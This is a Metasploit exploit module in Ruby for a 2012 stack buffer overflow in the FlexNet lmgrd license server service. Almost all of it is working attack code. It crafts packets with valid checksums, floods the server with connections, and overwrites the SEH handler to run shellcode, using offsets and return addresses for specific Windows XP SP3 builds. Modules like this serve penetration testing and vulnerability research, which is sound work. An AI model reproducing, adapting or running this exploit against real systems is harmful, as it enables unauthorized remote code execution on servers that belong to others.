FlexNet License Server Manager lmgrd Buffer Overflow



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'FlexNet License Server Manager lmgrd Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in the FlexNet
                License Server Manager.

                The vulnerability is due to the insecure usage of memcpy
                in the lmgrd service when handling network packets, which
                results in a stack buffer overflow.

                In order to improve reliability, this module will make lots of
                connections to lmgrd during each attempt to maximize its success.
            },
            'Author'         =>
                [
                    'Luigi Auriemma', # Vulnerability Discovery and PoC
                    'Alexander Gavrun', # Vulnerability Discovery
                    'juan vazquez', # Metasploit module
                    'sinn3r' # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'OSVDB', '81899' ],
                    [ 'BID', '52718' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-052/' ],
                    [ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ]
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process'
                },
            'Payload' =>
                {
                    'Space' => 4000
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Debug', {} ],
                    [ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',
                        {
                            'Offset' => 10476,
                            'ShellcodeOffset' => 5504,
                            'Ret' => 0x0047d01f # ppr from lmgrd.exe
                        }
                    ],
                    [ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',
                        {
                            'Offset' => 7324,
                            'ShellcodeOffset' => 2332,
                            'Ret' => 0x004eda91 # ppr from lmgrd.exe
                        }
                    ],
                    [ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',
                        {
                            'Offset' => 7320,
                            'ShellcodeOffset' => 2328,
                            'Ret' => 0x004eb2e1 # ppr from lmgrd.exe
                        }
                    ],
                ],
            'DefaultTarget'  => 1,
            'DisclosureDate' => 'Mar 23 2012'))

        register_options(
            [
                Opt::RPORT(27000),
                OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),
                OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),
                OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])
            ], self.class)
    end

    def header_checksum(packet)
        packet_bytes = packet.unpack("C*")
        checksum = packet_bytes[0]
        i = 2
        while i < 0x14
            checksum = checksum + packet_bytes[i]
            i = i + 1
        end
        return (checksum & 0x0FF)
    end

    def data_checksum(packet_data)
        word_table = ""
        i = 0
        while i < 256
            v4 = 0
            v3 = i
            j = 8

            while j > 0
                if ((v4 ^ v3) & 1) == 1
                    v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF
                else
                    v4 = (v4 >> 1) & 0x0FFFF
                end
                v3 >>= 1
                j = j - 1
            end

            word_table << [v4].pack("S")
            i = i + 1
        end
        k = 0
        checksum = 0
        data_bytes = packet_data.unpack("C*")
        word_table_words = word_table.unpack("S*")
        while k < packet_data.length
            position = data_bytes[k] ^ (checksum & 0x0FF)
            checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF
            k = k + 1
        end
        return checksum
    end

    def create_packet(data)
        pkt = "\x2f"
        pkt << "\x00" # header checksum
        pkt << "\x00\x00" # data checksum
        pkt << "\x00\x00" # pkt length
        pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        pkt << data

        pkt[4,2] = [pkt.length].pack("n")

        data_sum = data_checksum(pkt[4, pkt.length - 4])
        pkt[2, 2] = [data_sum].pack("n")

        hdr_sum = header_checksum(pkt[0, 20])
        pkt[1] = [hdr_sum].pack("C")

        return pkt
    end

    def jam
        pkt = create_packet("")

        datastore['Jam'].times do
            connect
            sock.put(pkt)
            disconnect
        end
    end

    def exploit
        i = 1
        while i <= datastore['Attempts'] and not session_created?
            print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")
            do_exploit
            sleep(datastore['Wait'])
            i = i + 1
        end

        if not session_created?
            print_error("Exploit didn't work after #{i} attempts")
        end
    end

    def do_exploit
        t = framework.threads.spawn("jam", false) { jam }
        my_payload = payload.encoded

        header_length = 20 # See create_packet() to understand this number
        pkt_data = ""
        if target.name =~ /Debug/
            pkt_data << "a" * (65535 - header_length)
        else
            pkt_data << "a" * target['ShellcodeOffset']
            pkt_data << my_payload
            pkt_data << rand_text(target['Offset']-target['ShellcodeOffset']-my_payload.length)
            pkt_data << generate_seh_record(target.ret)
            pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string
            pkt_data << rand_text(65535 - pkt_data.length - header_length)
        end

        pkt = create_packet(pkt_data)

        connect
        sock.put(pkt)
        handler
        disconnect
    end

end